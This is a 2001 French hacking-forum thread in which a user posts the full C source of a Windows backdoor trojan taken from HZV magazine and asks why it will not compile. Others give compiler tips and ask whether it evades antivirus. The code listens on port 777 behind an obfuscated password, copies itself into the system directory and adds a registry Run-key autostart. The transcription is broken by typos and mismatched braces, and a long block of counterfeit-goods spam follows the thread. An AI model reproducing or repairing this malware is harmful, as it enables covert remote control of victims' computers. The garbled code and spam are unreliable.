logo

Knowledge Is Power

 
 

- Reinit des nouveaux posts -

- Recherche -

Messages Privés - Derniers posts
S'enregistrer - Login - Liste des membres
Vous logger : Login Pass

Programmation - Langages de Programmation >> Probleme avec un troyen de HZV... Newtopic | Reply
poster txt
Psyko
Inscrit le 05-09-2001
Posté le 03-11-2001 19:47

g retrouvé un numero de HZV ou il y avait le code source d'un troyen. Je l'ai donc fait (car mes connaisances en c++ ne sont k'au debut, juste les bases...) pour voir si il fonctionné, or non... Donc je voulais savoir si qqn l'avait fait pour savoir si cela fonctionne (ce troyen a été fait par <d.Ignis> et FrozZy)... je vais vous donner le code source :

/*----------------------------Troyen hzv------------------------------*
| |
| |
| |
| |
| |
*---------------------------------------------------------------------*/

include <sys/types.h>
include <sys/stat.h>
include <windows.h>
include <windowsx.h>
include <stdio.h>
include <string.h>
include <winsock.h>

define BUFF_SIZE 1000
define PORT_SERVEUR 777

int init();
BOOL AccepteClients();
void AVosOrdre(SOCKET s, char* buffer);
BOOL RecoitLigne(SOCKET s, char* buffer);
void install();
void uninstall();
void RegPass();
BOOL CheckPass(char* pass);
void nicewindow();
SOCKET sListener;
char cTexte[100];
const char cHackerzVoice[] = "Vous avez ete hackes par un lecteur de Hackez Voice, le Paris Match de la securite informatique!\nPour ne plus vous faire avoir aussi lamentablement, lisez donc HZV...\n(j'ecris ce k'ils disent pour bien montrer ke c pas de moi!)\n\n";
const char cNomServeur[] = "Msdhzv32.exe";
char cPass[50] = "voice";
char cGrosLogo[2000];

char cWinDir[300] = "C://";
char cNomActuel[100];
char cTemp[2000];
char cLaPiauleDuTrojan[400];

struct sockaddr_in SockAddrBuffer;
int SockAddrLen = sizeof(struct sockaddr);
struct hostent* HostEntPointer;

BOOL AccepteClients();

{
SOCKET s;
SOCKADDR_IN sin;
int err;
BOOL bFini=FALSE;
char buffer[BUFF_SIZE];
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD(2,0);
err=WSAStartup(wVersionRequested, &wsaData);
if(err != 0) {
return FALSE;
}

sListener = socket(AF_INET,SOCK_STREAM,0);
if ( sListener == INVALID_SOCKET ) {
return FALSE;
}

sin.sin_family=AF_INET;
sin.sin_port=htons(PORT_SERVEUR);
sin.sin_addr.s_addr=INADDR_ANY;

err = bind(sListener,(LPSOCKADDR)&sin, sizeof(sin));
if(err == SOCKET_ERROR){
closesocket(sListener);
return FALSE;
}

err = listen(sListener,5);
if(err == SOCKET_ERROR){
closesocket(sListener);
return FALSE;
}

while (TRUE){
char cLogo[]="____________________________________________________\n\r hackerzvoice Rem0T3 @Dmin|§T(r)4ToR - Access Granted \n\r_____________________________________________________\n\r";
bFini=(1==0);

s=accept(sListener,(struct sockaddr *)
(&SockAddrBuffer), &SockAddrLen);
if(s==INVALID_SOCKET){
closesocket(sListener);
return FALSE;
}

bFini=!RecoitLigne(s,buffer);
if(!CheckPass(buffer+1)){
closesocket(s);
continue;
}

send(s,cLogo,strlen(cLogo),0);
nicewindow();
while(!bFini){
bFini=!RecoitLigne(s,buffer);
if(bFini)
break;
AVosOrdres(s,buffer);
Sleep(50);
}

closesocket(s);
}

}

void AVosOrdres(SOCKET s, char* buffer)

{
char cOK[] = "HZV OK";

switch(buffer[1]){
case 0:return;
case 'p':{
if(strlen(buffer) -3 < 100){
sprintf(cTexte,cOK);
sprintf(cTexte + strlen(cTexte),"-p 777\n\r");
sprintf(cPass,buffer+3);
}

RegPass();
send(s,cTexte,strlen(cTexte),0);
return;
}
case 'r':{
unistall();
}

case 'q':{
strcpy(cTexte, cOK);
strcat(cTexte,"-q 777\n\r");
send(s,cTexte,strlen(cTexte),0);
closesocket(s);
return;
}
case 'z':{
strcpy(cTexte, cOK);
strcat(cTexte,"-z 777\n\r");
send(s,cTexte,strlen(cTexte),0);
nicewindow();
return;
}
}
}

BOOL RecoitLigne(SOCKET s,char* buffer)

{
int i=0;
int err=1;
buffer[0]=1;
buffer[1]=0;

while((err !=SOCKET_ERROR) && (buffer[i] !='\n') && (buffer[i] !='r') && (i<BUFF_SIZE-1) && (err !=0)){
err=recv(s,buffer + i++ + 1,1,0);
}

if(i!=0)
buffer[i] = 0;
return ((err != SOCKET_ERROR) && (i<BUFF_SIZE) && (err != 0));
}


int init()
{
AccepteClients();
return 0;
}

BOOL CheckPass(char* pass)
{
HKEY hKey;
unsigned int i;
unsigned long vtype = REG_SZ;
unsigned long buflen;
char buf[100];
DWORD dwDisposition;
char key[]="7773C642E69676E69733E466F7A5A79777";
char crypted[50];

if(!(strlen(pass)<sizeof(cTemp))){
return FALSE;
}

for(i=0;i<strlen(pass);i++){
cTemp[i] = pass[i] ^ key[i % strlen(key)];
}

cTemp[i]=0;

strcpy(buf,".hzv");
i=RegCreateKeyEx(HKEY_CLASSES_ROOT,buf,0,NULL,REG_OPTION_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition);
if(i==ERROR_SUCCESS){
buflen = 50;
i=RegQueryValueEx(hKey,"InfoTips",0,&vtype,crypted,&buflen);
RegCloseKey(hKey);
}

return(strcmp(cTemp,crypted)==0);
}

void RegPass()
{
HKEY hkey;
unsigned int i;
char buf[100];
DWORD dwDisposition;

char key[]= "7773C642E69676E69733E466F7A5A79777";
for(i=0;i<strlen(cPass);i++){
cTemp[i] ^ key[i % strlen(key)];
}

cTemp[i]=0;

strcpy(buf,".hzv");
i=RegCreatKeyEx(HKEY_CLASSES_ROOT,buf,0,NULL,REG_OPTION_VOLATILE,KEY_ALL_ACCESS,NULL,&hkey,&dwDisposition);
if(i==ERROR_SUCCESS){
i=RegSetValueEx(hkey,"InfoTips",0,REG_SZ,cTemp,strlen(cTemp));
RegCloseKey(hkey);
}

return;
}

void uninstall()
{
HKEY hkey;
int i;
char buf[100];
DWORD dwDisposition;

strcpy(buf,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
i=RegCreatKeyEx(HKEY_LOCAL_MACHINE,buf,0,NULL,REG_OPTION_VOLATILE,KEY_ALL_ACCESS,NULL,&hkey,&dwDisposition);
if(i==ERROR_SUCCESS){
i=RegDeleteValue(hkey,cNomServeur);
RegCloseKey(hkey);
}

exit(777);
}

void install()
{
char buf[16384];
FILE *origine,*dest;
int i;
DWORD dwdisposition;
HKEY hkey;

if((origine=fopen(cNomActuel,"rb"))==NULL)
return;
}

while(TRUE){
i=fread(buf,1,16000,origine);
if(i<=0)
break;
fwrite(buf,1,i,dest);
}

fclose(origine);
fclose(dest);

strcpy(buf,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
i=RegCreatKeyEx(HKEY_LOCAL_MACHINE,buf,0,NULL,REG_OPTION_VOLATILE,KEY_ALL_ACCESS,NULL,&hkey,&dwDisposition);
if(i==ERROR_SUCESS){
i=RegSetValueEx(hkey,cNomServeur,0,REG_SZ,cLaOiauleDuTrojan,strlen(cLaPiauleDuTrojan));
RegCloseKey(hkey);
}

RegPass();
return;
/*}*/

void initlogo()
{
strcpy(cGrosLogo,"::: ::: ::: :::::: ::: ::: :::::: :::::: ::::::\n");
strcat(cGrosLogo,":+: :+: :+::+: :+: :+::+: :+: :+: :+: :+: :+: \n");
strcat(cGrosLogo,"+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ \n");
strcat(cGrosLogo,"+++:++++ +++:++++: +++++:++ +++:++ +++:++: ++ \n");
strcat(cGrosLogo,"++ ++ ++ ++ ++ ++ ++ ++ ++ ++ ++ \n");
strcat(cGrosLogo,"+ + + + + + + + + + + + \n");
strcat(cGrosLogo," \n\n\n");
strcat(cGrosLogo," [. _/ \n");
strcat(cGrosLogo,"[.. [.. [.. [.. [.. _/ _/ _/ _/ \n");
strcat(cGrosLogo,"[.. [.. [.. [.. [.. [.. [.. [.. _/_/_/ _/ _/ _/ \n");
strcat(cGrosLogo,"[..[..[.. [..[..[.. [.....[.. _/_/ _/_/_/_/ \n");
strcat(cGrosLogo,"[.[.. [.. [.. [.. [.. [.. _/_/ _/ \n");
strcat(cGrosLogo," [.. [.. [.. [... [.... _/_/ _/ \n\n);

return;
}

void nicewindow()
{
char* IP;
strcpy(cTemp,cGrosLogo);
strcat(cTemp,cHackerzVoice);
strcat(cTemp,"\nL'ordinateur qui est en train de vous attaquer a pour nom : ");

HostEntPointer=gethostbyaddr((const char*)&(SocketAddrBuffer.sin_addr),sizeof(struct in_addr),AF_INET);
if(HostEntPointer==NULL)
strcat(cTemp,"inconnu");
else
strcat(cTemp,HostEntPointer->h_name);
strcat(cTemp,"->IP=");
IP=inet_ntoa(SockAddrBuffer.sin_addr);
strcat(cTemp,IP);
MessageBox(NULL,cTemp,"hackerz voice",MB_OK);

return;
}

int APIENTRY WinMain(HINSTANCE hinstance,HINSTANCE hPrevinstance,LPSTR ipCmdLine,int nCmdShow)

{
int i,j=0;
GetSystemDirectory(cWinDir,300);
sprintf(cNomActuel,GetCommandLine());
for(i=0;cNomActuel[i] !=0;i++){
if(cNomActuel[i] !=""){
cLaPiauleDuTrojan[j]=cNomActuel[i];
j++;
}
}

sprintf(cNomActuel,cLaPiauleDuTrojan);
sprintf(cLaPiauleDuTrojan,cWinDir);
sprintf(cLaPiauleDuTrojan + strlen(cLaPiauleDuTrojan),"\\");
sprintf(cLaPiauleDuTrojan + strlen(cLaPiauleDuTrojan),cNomServeur);

if(strcmp(cNomActuel,cLaPiauleDuTrojan) !=0)
install();
initlogo();
init();
return 0;
}


/*------------------------fin------------------*/


Donc voila, merci (j'avais le choix entre programmation et help...)

Sur ce @+
_________________________
"Je suis l'alpha et l'oméga, le premier et le dernier, le commencement et la fin."
profil | ICQ | edit | quote
j.roc
Inscrit le 24-08-2001
Avatar
Posté le 03-11-2001 20:06

tu l'as recopier ?

il faut que tu configure tob compilateur
_________________________
Les hackers sont les gardiens d\'internet et j.roc le
profil | mail | ICQ | edit | quote
Megacid
Inscrit le 24-08-2001
Avatar
Posté le 03-11-2001 21:15

avec visual c++ ça devrait marcher
celui la il faut le compiler sous win on dirait
_________________________
unzip; strip; touch; finger; mount; fsck; more; yes; comm; umount; sleep
profil | ICQ | MSN | edit | quote
ANIMALIS
Inscrit le 12-10-2001
Posté le 05-11-2001 12:00

Je cherche Visual C++ depuis 6 mois !!!
Je cherche le 6.0 en fr de préf !!!
_________________________
[b]Meilleur site du millénaire:
[url]Www.under-ground.fr.sT[/url][/b]
Ne jamais attraper le queue d'un guépard, ou si tu l'attrapes: na la lache jamais !!!
profil | mail | Website | AIM | ICQ | edit | quote
Borax
Inscrit le 24-08-2001
Avatar
Posté le 06-11-2001 01:11

Certains compilateurs ne comportent pas tous les include... Donc, essaie de voir s'ils y sont. Si ce n'est pas le cas, ben récupère les sur le net et rajoute les. Sinon, change de compil
_________________________
Borax.
profil | Website | edit | quote
Mesta
Inscrit le 23-08-2001
Avatar
Posté le 06-11-2001 11:16

en regardant comme ca, c dur de dir ou est le probleme, pe etre comme dis bobo ton compilateur ne supporte pas les include !!
_________________________

profil | Website | edit | quote
XstaZ
Inscrit le 01-09-2001
Posté le 06-11-2001 11:57

Psyko > C'est fozzy pas Frozzy S'il entendait ca le pauvre

Est e que ce machin est reellement indetecte? Je me suis tjs pose la question, mais comme ce truc ne m'interrese pas, je l'ai aps compile...
profil | mail | Website | ICQ | edit | quote
Psyko
Inscrit le 05-09-2001
Posté le 07-11-2001 12:31

Si, le compilateur axepte les include, donc je ne vois pa trop ou est le probleme...
Enfin, les problemes ! A voir :

--------------------Configuration: Troyen1 - Win32 Debug--------------------
Compiling...
Troyen1.cpp
D:\Psyko\C++\troyen hzv\Troyen1.cpp(47) : error C2447: missing function header (old-style formal list?)
D:\Psyko\C++\troyen hzv\Troyen1.cpp(133) : error C2065: 'unistall' : undeclared identifier
D:\Psyko\C++\troyen hzv\Troyen1.cpp(202) : error C2664: 'RegQueryValueExA' : cannot convert parameter 5 from 'char [50]' to 'unsigned char *'
Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
D:\Psyko\C++\troyen hzv\Troyen1.cpp(218) : warning C4552: '^' : operator has no effect; expected operator with side-effect
D:\Psyko\C++\troyen hzv\Troyen1.cpp(224) : error C2065: 'RegCreatKeyEx' : undeclared identifier
D:\Psyko\C++\troyen hzv\Troyen1.cpp(226) : error C2664: 'RegSetValueExA' : cannot convert parameter 5 from 'char [2000]' to 'const unsigned char *'
Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast
D:\Psyko\C++\troyen hzv\Troyen1.cpp(262) : error C2143: syntax error : missing ';' before 'while'
D:\Psyko\C++\troyen hzv\Troyen1.cpp(262) : error C2143: syntax error : missing ';' before '{'
D:\Psyko\C++\troyen hzv\Troyen1.cpp(262) : error C2447: missing function header (old-style formal list?)
D:\Psyko\C++\troyen hzv\Troyen1.cpp(269) : error C2065: 'origine' : undeclared identifier
D:\Psyko\C++\troyen hzv\Troyen1.cpp(269) : error C2501: 'fclose' : missing storage-class or type specifiers
D:\Psyko\C++\troyen hzv\Troyen1.cpp(269) : error C2373: 'fclose' : redefinition; different type modifiers
c:\program files\microsoft visual studio\vc98\include\stdio.h(285) : see declaration of 'fclose'
D:\Psyko\C++\troyen hzv\Troyen1.cpp(270) : error C2065: 'dest' : undeclared identifier
D:\Psyko\C++\troyen hzv\Troyen1.cpp(270) : error C2501: 'fclose' : missing storage-class or type specifiers
D:\Psyko\C++\troyen hzv\Troyen1.cpp(270) : error C2373: 'fclose' : redefinition; different type modifiers
c:\program files\microsoft visual studio\vc98\include\stdio.h(285) : see declaration of 'fclose'
D:\Psyko\C++\troyen hzv\Troyen1.cpp(272) : error C2065: 'buf' : undeclared identifier
D:\Psyko\C++\troyen hzv\Troyen1.cpp(272) : error C2501: 'strcpy' : missing storage-class or type specifiers
D:\Psyko\C++\troyen hzv\Troyen1.cpp(272) : error C2373: 'strcpy' : redefinition; different type modifiers
c:\program files\microsoft visual studio\vc98\include\string.h(105) : see declaration of 'strcpy'
D:\Psyko\C++\troyen hzv\Troyen1.cpp(272) : error C2078: too many initializers
D:\Psyko\C++\troyen hzv\Troyen1.cpp(272) : error C2440: 'initializing' : cannot convert from 'char [46]' to 'int'
This conversion requires a reinterpret_cast, a C-style cast or function-style cast
D:\Psyko\C++\troyen hzv\Troyen1.cpp(273) : error C2501: 'i' : missing storage-class or type specifiers
D:\Psyko\C++\troyen hzv\Troyen1.cpp(273) : error C2065: 'hkey' : undeclared identifier
D:\Psyko\C++\troyen hzv\Troyen1.cpp(273) : error C2065: 'dwDisposition' : undeclared identifier
D:\Psyko\C++\troyen hzv\Troyen1.cpp(274) : error C2143: syntax error : missing ';' before 'if'
D:\Psyko\C++\troyen hzv\Troyen1.cpp(274) : error C2143: syntax error : missing ';' before '{'
D:\Psyko\C++\troyen hzv\Troyen1.cpp(274) : error C2447: missing function header (old-style formal list?)
D:\Psyko\C++\troyen hzv\Troyen1.cpp(279) : error C2556: 'int __cdecl RegPass(void)' : overloaded function differs only by return type from 'void __cdecl RegPass(void)'
D:\Psyko\C++\troyen hzv\Troyen1.cpp(26) : see declaration of 'RegPass'
D:\Psyko\C++\troyen hzv\Troyen1.cpp(279) : error C2371: 'RegPass' : redefinition; different basic types
D:\Psyko\C++\troyen hzv\Troyen1.cpp(26) : see declaration of 'RegPass'
D:\Psyko\C++\troyen hzv\Troyen1.cpp(280) : error C2143: syntax error : missing ';' before 'return'
D:\Psyko\C++\troyen hzv\Troyen1.cpp(297) : error C2001: newline in constant
D:\Psyko\C++\troyen hzv\Troyen1.cpp(299) : error C2143: syntax error : missing ')' before 'return'
D:\Psyko\C++\troyen hzv\Troyen1.cpp(309) : error C2065: 'SocketAddrBuffer' : undeclared identifier
D:\Psyko\C++\troyen hzv\Troyen1.cpp(309) : error C2228: left of '.sin_addr' must have class/struct/union type
D:\Psyko\C++\troyen hzv\Troyen1.cpp(329) : error C2446: '!=' : no conversion from 'char *' to 'int'
This conversion requires a reinterpret_cast, a C-style cast or function-style cast
D:\Psyko\C++\troyen hzv\Troyen1.cpp(329) : error C2040: '!=' : 'int' differs in levels of indirection from 'char [1]'
Error executing cl.exe.

Troyen1.obj - 34 error(s), 1 warning(s)




Y en a des tonne ! Et il y en avait bcp + mais g changé certaine synthaxes...

PS : excuse Xstaz, mal recopié !
_________________________
"Je suis l'alpha et l'oméga, le premier et le dernier, le commencement et la fin."
profil | ICQ | edit | quote
king
Inscrit le 26-10-2018
Posté le 26-10-2018 04:22

cc20181027
birkenstocks
ecco outlet
jordan retro 11
michael kors outlet
jordan shoes
fitflops
longchamp outlet
ecco shoes
ultra boost
ray ban sunglasses
uggs outlet
tiffany and co
louis vuitton outlet online
nike outlet store
canadian goose
louis vuitton outlet store
atlanta braves jerseys
nike air max
coach outlet
fitflops
coach factorty outlet
pandora charms
cheap jordan shoes
oakley sunglasses
pandora charms
uggs canada
adidas shoes
ralph lauren uk
cheap jordans free shipping
kate spade handbags
ugg outlet
uggs
michael kors outlet
ysl outlet
coach outlet online
coach factorty outlet
christian louboutin
yeezy 350 boost
nike outlet
rolex watches
rolex watches
coach outlet store
adidas yeezy
moncler outlet
birkenstock
canada goose outlet
ecco shoes
canada goose jackets
fitflops
birkenstock outlet
kobe shoes
canada goose sale
nike shoes
coach factory outlet
moncler outlet
lebron james shoes
michael kors outlet
polo ralph lauren outlet
louis vuitton outlet online
nike free 4.0
canada goose outlet
gucci handbags
cheap oakley sunglasses
nike air max 95
ralph lauren sale clearance
ralph lauren outlet
ugg outlet
air jordans
adidas shoes
new balance outlet
coach outlet store
kate spade
canada goose outlet
coach outlet
asics shoes
michael kors outlet clearance
birkenstock shoes
pandora charms
coach canada outlet
nike outlet online
uggs
pandora jewelry
nike cortez
ralph lauren sale clearance
coach outlet
nike air max shoes
moncler jackets
jordan shoes
fake rolex
canada goose outlet
michael kors
coach outlet store
pandora outlet
michael kors outlet
moncler outlet
kate spade outlet store
baltimore orioles jerseys
adidas superstar
toronto blue jays jerseys
nike air max 87
nike basketball shoes
kate spade handbags
coach outlet
burberry outlet
jimmy choo outlet
adidas shoes
lacoste polo shirts
louis vuitton
kate spade handbags
supreme clothing
canada goose outlet
ugg outlet
coach factory outlet
timberland boots
michael kors outlet
nike shoes
prada outlet
skechers shoes
uggs outlet
nike store
vans shoes
kate spade outlet
tory burch outlet
uggs outlet store
michael kors outlet online
ugg outlet store
coach outlet
moncler outlet
kate spade handbags
red bottom shoes
cheap jordans
louis vuitton outlet
discount oakley sunglasses
uggs outlet store
oakley sunglasses
tory burch outlet
louboutin shoes
fitflops
tory burch outlet
ugg outlet
cheap jordans
los angeles dodgers jerseys
ecco shoes for men
new balance shoes
louis vuitton handbags
michael kors handbags
coach factory outlet
moncler outlet
louboutin shoes
pandora jewelry
moncler outlet online
coach outlet online
toms outlet
oakley sunglasses
asics outlet
nike air max zero
ugg outlet
adidas nmd
timberland boots outlet
ray ban sunglasses
nike free run
adidas yeezy
salvatore ferragamo shoes
kate spade handbag
reebok shoes
nike shox
nike outlet
canada goose jackets
polo outlet
timberland boots
dr martens
pg 2
air max 97
ugg boots
adidas stan smith
coach outlet
oakley sunglasses
salomon shoes
birkenstock sandals
milwaukee brewers jerseys
nike cortez
longchamp handbags
pandora charms
canada goose jackets
fitflops sale clearance
toms shoes
canada goose jackets
ralph lauren sale
pandora charms
moncler jackets
adidas campus
air max 2019
michael kors outlet clearance
pandora
ralph lauren outlet
pandora jewelry
moncler jackets
coach outlet store
michael kors outlet clearance
air max 2017
coach
cheap jordan shoes
uggs outlet
jordan retro
hermes handbags
coach factory outlet
air max 90
ugg boots
canada goose sale
ralph lauren outlet
converse outlet store
pandora jewelry
air max 97
timberland boots
ralph lauren uk
kobe bryant shoes
tory burch outlet online
air more uptempo
philipp plein shirt
uggs outlet
jordan shoes
longchamp handbags
coach factory outlet
adidas nmd
canada goose outlet
birkenstock outlet
adidas
coach factory outlet
pandora jewelry
michael kors outlet
canadian goose
pandora jewelry
air jordans
jordan shoes
ray ban sunglasses
kate spade outlet
ralph lauren outlet
christian louboutin outlet
kate spade outlet store
texas rangers jersey
cristiano ronaldo jerseys
pandora charms
christian louboutin
valentino shoes
michael kors outlet online
nike dunks
ugg outlet
fred perry
chicago white sox jerseys
louis vuitton
coach factory outlet
nike air max
kate spade outlet store
kate spade outlet
kansas city royals jerseys
air max 2018
timberland outlet
michael kors outlet
coach outlet store
tampa bay devil rays jerseys
ugg outlet
moncler outlet
coach factory outlet online
nike outlet
mont blanc pens
christian louboutin outlet
kate spade handbag
dr martens outlet
louboutin shoes
columbia sportswear
adidas originals
michael kors outlet
christian louboutin
birkenstock shoes
kate spade bags
coach outlet
nike huarache
converse shoes
adidas superstar
pandora charms sale clearance
kate spade outlet
converse all star
ralph lauren
fitflops sale
pandora store
cheap ray bans
cheap mlb jerseys
dr martens boots
coach outlet online
ugg boots
salvatore ferragamo shoes
pandora charms sale
coach factory outlet
yeezy boost 350
michael kors outlet clearance
hermes birkin
uggs outlet
polo ralph lauren outlet
prada handbags
pandora jewelry outlet
ecco shoes
coach outlet
moncler outlet
pandora jewelry
nike shoes
supra shoes
canada goose outlet
cheap jordans for sale
pandora outlet
louis vuitton outlet
longchamp outlet
arizona diamondbacks jerseys
swarovski crystal
pandora jewelry outlet
michael kors outlet canada
yeezy boost
jordans
coach factory outlet
nike outlet online
michael kors handbags
polo ralph lauren outlet
birkenstock sandals
cartier outlet
coach factory outlet
coach factory outlet
ugg outlet
underarmour shoes
adidas shoes
ugg boots
columbia shoes
mulberry handbags
coach outlet
coach outlet
nike air max
canada goose
colorado rockies jerseys
nike outlet
ralph lauren sale clearance
nike zoom
philipp plein outlet
ugg boots
birkenstock sandals
ralph lauren outlet
air jordan shoes
coach outlet
yeezy boost
coach outlet
birkenstock sandals
jordan shoes
michael kors outlet
ugg outlet
moncler outlet
fitflops sale clearance
mlb jerseys
coach outlet
canada goose outlet
coach factory outlet
cheap nike air max
uggs outlet
coach outlet
pandora charms sale clearance
pandora jewelry
christian louboutin shoes
ugg outlet
air max 2018
fitflops sale clearance
moncler outlet
hermes bags
jordans
gucci outlet
florida marlins jerseys
canada goose outlet
pandora jewelry
polo ralph lauren outlet online
nfl jerseys wholesale
canada goose outlet
san diego padres jerseys
canada goose jackets
oakland athletics jerseys
cleveland indians jerseys
coach outlet
coach outlet
kate spade
uggs outlet
cheap jordans
ugg boots
gucci outlet
moncler outlet
coach factory outlet
fred perry polo
uggs
timberland boots
coach factory outlet
fendi handbags
uggs outlet
nike tessen
nike huarache
adidas nmd
adidas yeezy boost
adidas outlet
canada goose outlet
hermes handbags
dansko shoes
nike outlet
ysl handbags
fitflops
ugg australia
coach outlet store online clearances
hermes handbags
pandora jewelry
canada goose outlet
kate spade bags
coach outlet
los angeles angels jerseys
ugg boots
cheap oakley sunglasses
nike shoes
uggs outlet
pandora jewelry official site
kate spade outlet
cheap nfl jerseys
ralph lauren
coach outlet
adidas yeezy boost
cheap jordans
jordan shoes
adidas shoes
coach outlet store online
kate spade outlet
uggs outlet
canada goose outlet
nike shoes for men
fitflops
kevin durant shoes
adidas outlet
replica watches
kate spade bags
seattle mariners jerseys
vans store
michael kors outlet online
coach canada
gucci outlet
adidas outlet
oakley sunglasses
nike air more money
ralph lauren outlet
polo outlet store
adidas shoes
houston astros jerseys
kate spade outlet
timberland boots
tiffany outlet
coach factorty outlet
cheap nfl jerseys
ralph lauren outlet
adidas yeezy boost
nike react shoes
true religion outlet
tiffany and co
coach outlet
mulberry outlet
coach outlet
new york mets jerseys
jimmy choo outlet
nmd adidas
cincinnati reds jerseys
coach outlet
nike shoes
north face outlet
michael kors outlet
uggs canada
adidas nmd shoes
christian louboutin outlet
oakley sunglasses outlet
minnesota twins jerseys
pandora charms sale clearance
north face jackets
pandora charms
air jordan shoes
polo outlet
coach outlet store
coach factory outlet online
salvatore ferragamo
michael kors outlet
canada goose outlet
pittsburgh tipiaks jerseys
michael kors outlet online
nike zoom
toms outlet
kate spade
coach outlet
ray ban sunglasses discount
canada goose outlet
pandora jewelry official site
true religion outlet online
ugg outlet
nike air max outlet
adidas yeezy
nike air presto
canada goose jackets
ugg outlet
pandora outlet
swarovski outlet
canada goose sale
supra shoes
nike air max 1
michael kors outlet
ugg boots
mont blanc
uggs
michael kors handbags
coach outlet
coach outlet
ugg outlet
adidas outlet
uggs outlet
yeezy boost
coach handbags
christian louboutin outlet
kyrie 4 shoes
jimmy choo
pandora outlet
timberland outlet
kate spade
kate spade outlet
oakley sunglasses
moncler
pandora charms
uggs outlet
cc20181027
profil | AIM | edit | quote
Newtopic | Reply

Online : Agustinwhase, DuncanFrome, Ernestboype, igeyafekhirig, ijoitohuru, InesTag, iqoogoy, NanumGlify, ofexuyopemeda, ogizuwe, olonecuv, orehurukoc, ucawurodte, uhokidpo, wixolli, zukaxetiv et 84 Guests


Retour Index NewFFR Repository : http://taz.newffr.com
Cagades à Stick : http://alcane.newffr.com
Forum HTML et Archive -> ici
ForumFR Sql/Xml (2006/04) (SF pas à jour du tout...) - Alive since 2001 Newffr.com
Pour toute plainte ou problème -> Contacter Borax, Hyatus, Tweakie ou Stick par message privé (ou Gueulez sur le forum :) )
Retour haut de page